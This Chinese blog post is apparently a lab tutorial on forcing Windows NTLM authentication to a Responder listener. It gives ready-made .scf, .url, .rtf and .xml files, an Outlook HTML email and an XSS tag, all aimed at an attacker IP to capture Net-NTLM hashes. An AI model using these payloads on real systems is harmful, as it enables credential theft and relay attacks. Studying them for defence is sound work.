在上一篇文章 一文理解 Windows 身份验证原理 介绍了什么是 NTLM 以及一些利用 NTLM 进行更一步获取权限的方式,其中就有 NTLM 中继、 Net-NTLM hash 破解。但实现这些利用,需要发起 NTLM 请求,本文章介绍下如何强制发起 NTLM 请求。

环境准备

本文章的环境是根据之前文章 搭建一个简单的Windows域环境 搭建的。先在 kali 上启动 Responder 来监听 Net-NTLM hash 。kali 的 ip 为 172.16.108.4

responder -I eth0


接着在 Windows Server 2012 域控主机上安装 office ,用于后续测试。
下面介绍一些强制进行 NTLM 认证的方式,让 Windows 2012 强制向 kali 主机发起 NTLM 请求,从而获取域控账号的 Net-NTLM hash,当然也可以进行 NTLM 中继攻击,具体方法请查看上一篇文章。

1. 通过超链接执行

让我们创建一个Word文档,该文档具有指向 kali 服务器的超链接


超链接地址为 \172.16.108.4\1.txt ,也就是 kali 服务器 Responder 的地址

在用户诱导点击后,会在 Responder 上收到发起的 NTLM 请求,成功获取 Net-NTLM hash

所以不要随便打开文档中的超链接,即使没病毒,也可能被进行强制认证。

2. 通过 .SCF 文件执行

编辑一个 fa.scf 文件,内容如下

[Shell]Command=2
IconFile=\\172.16.108.4\nc.ico
[Taskbar]
Command=ToggleDesktop

当用户打开存放该文件的目录时,fa.scf 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上,用户打开该共享目录时,就会进行强制认证。

可以先删除 Responder 的缓存再进行测试,不然会显示跳过之前捕获的 hash

rm /usr/share/responder/Responder.db

重新打开存在 fa.scf 文件的目录,或者点刷新,就可以发起 NTLM 认证了

3. 通过 .URL 文件执行

创建一个 a.url 文件,内容如下,并将其上传到受害者系统:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\172.16.108.4\1.icon
IconIndex=1

当用户打开存放该文件的目录时,a.url 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证

4. 通过.RTF文件执行

新建一个 file.rtf 文件,它将尝试从攻击系统加载图像:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

在受害者系统上执行 file.rtf 会被强制进行 NTLM 认证:

5. 通过.XML 文件执行

Word文档可以另存为.xml

Word文档可以另存为.xml
可以通过包含一个从攻击者控制的服务器请求文档样式表的标签(第3行)来进行 NTLM 强制认证。 当打开该 xml 文档时,会进行 NTLM 认证。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><?mso-application progid="Word.Document"?><?xml-stylesheet type="text/xsl" href="\\172.16.108.4\bad.xsl" ?>


6. 通过Field IncludePicture执行

创建一个新的Word文档并插入一个域IncludePicture:


将文件另存为.xml 或者 docx。 启动文档会进行强制 NTLM 认证

7. 通过 Outlook 执行

如果目标系统未运行最新版本的Windows / Outlook,则可以制作这样的电子邮件,使攻击者无需用户进行任何干预即可窃取受害者的 NetNTLMv2 哈希-单击电子邮件即可预览并发起强制 NTLM 认证。 请注意,此攻击不适用于Windows 10和Outlook 2016版本的最新版本,或者需要在outlook设置开启自动加载图片。

使用以下内容发送邮件到outlook:

<html><h1>holla good sir</h1><img src="file://172.16.108.4/download.jpg"></html>


RTF文件也可以使用:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

在收到邮件后点击该邮件,会自动加载图片进行 NTLM 认证

8. 通过漏洞发起 NTLM请求

使用常见的Web漏洞,也可以发起 NTLM 请求,如 XSS、SSRF、XXE等可以导致服务器去访问一个URL的漏洞。以 XSS 为例,新建一个 html 文件。里面存在 XSS 利用代码

<html><script src="//172.16.108.4/1.js"><html/>

由于 Windows server 版本的 IE 启用了保护模式,所以需要关闭才可以自动加载外部脚本。

关闭后,打开 html 文件,即可进行 NTLM 认证


参考链接

https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
https://www.anquanke.com/post/id/193493
https://attack.mitre.org/techniques/T1187/

本文章也在我的公众号发布

T1187 强制 NTLM 认证相关推荐

  1. 域渗透基础之NTLM认证协议

    域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...

  2. NTLM认证原理及其过程

    windows认证协议主要有以下两种: 基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单. 另一种是基于Kerberos的认证方式,主要用在域环境中 NTLM ...

  3. 关于HttpClient绕过SSL认证以及NTLM认证

    前言 本篇文章只涉及本人在工作上使用HttpClient遇到的情况,并不会详细地展开讲如何使用HttpClient. 1. 为什么使用HttpClient? 一开始其实是考虑使用RestTemplat ...

  4. HttpClient+NTLM认证

    1.HttpClient的使用步骤 1)创建HttpClient对象(项目中之前用的是CloseableHttpClient,这个对象无法使用NTLM认证,我换成了DefaultHttpClient) ...

  5. Windows本地认证和NTLM认证

    目录 SSP&SSPI Windows认证方式 Windows本地认证 NTLM认证 NTLM v1和NTLM v2的区别 LmCompatibilityLevel

  6. HTTPS下强制重定向认证

    网络安全准入对终端设备最开始和直接的就是强制其认证合法性. 原有基于HTTP重定向认证已失效,因为HTTP不安全.且浏览器都强制HSTS技术只能HTTPS. 怎么在HTTPS下还能重定向来认证? 住宿 ...

  7. 基于NTLM认证的中间人攻击(含实战)

    文章目录 中间人攻击 0x01 域和工作组 0x02 NTLM认证(Windows) 本地认证 NTLM Hash的生成 网络认证 工作组环境NTLM认证流程 域环境NTLM认证 0x03 域名解析协 ...

  8. AXIS2客户端代码连接C#web service带ntlm认证

    搞了两天的AXIS2连接带ntlm认证的web service,要吐血了,百度一堆,不是故作神秘的讲一大堆,就是代码给一半,装吧.... 国人就是,知道的不愿意说,说也只说一半,不知道的又装知道,真是 ...

  9. 如何使用httpclient进行NTLM认证登录

    NTLM是微软的一种安全认证机制,有些网站是实用NTLM做的认证登陆,使用httpclient认证后可以发送一些get,post请求.代码是用来自动签到的,重点在于ntml认证. package co ...

最新文章

  1. 小程序将form表单数据写入云数据库
  2. nova api 分析
  3. iOS学习笔记37 时间和日期计算
  4. 分布式离线计算—MapReduce—基本原理
  5. java中public private_java中public、private、protected区别
  6. ES6 各浏览器支持情况
  7. Elasticsearch了解多少,说说你们公司es的集群架构,索引数据大小,分片有多少,以及一些调优手段 。
  8. Visual Studio 打开程序提示仅我的代码怎么办
  9. form:errors path 不显示出错信息_视觉激光雷达信息融合与联合标定
  10. enableEventValidation是干什么的?
  11. 数据库截取字段 转换成int型函数
  12. 2019年美赛B题思路详解
  13. 生成QQ/MSN/旺旺/SKYPE等在线状态图标
  14. C++中用两个栈实现一个队列
  15. 安装惠普M1136打印机一直处于“新设备已连接”状态 解决方法
  16. chrome谷歌浏览器使用技巧
  17. nginx 报错502
  18. java黄金分割点游戏_黄金点游戏(单机版)
  19. 计算机主板 也叫系统板或母版,什么是主板
  20. [汇编]怎样让猫吃辣椒

热门文章

  1. mysql 区分大小写(大小写敏感)配置
  2. 博客同步至阿里云开发者社区,快来帮我涨人气吧
  3. libpcap原理阐述
  4. mysql 游标循环_mysql for循环遍历 游标用处
  5. 数据结构 如何删除单向链表的倒数第m个元素
  6. pyqt5切换python版本_PyQt5每天必学之切换按钮_python
  7. URL存在http host头攻击漏洞-修复方案
  8. jsr 303_使用Spring和JSR 303进行方法参数验证
  9. mockito_Mockito – JAXB的RETURNS_DEEP_STUBS
  10. c语言bim的题目,求助:几道简单C语言程序小题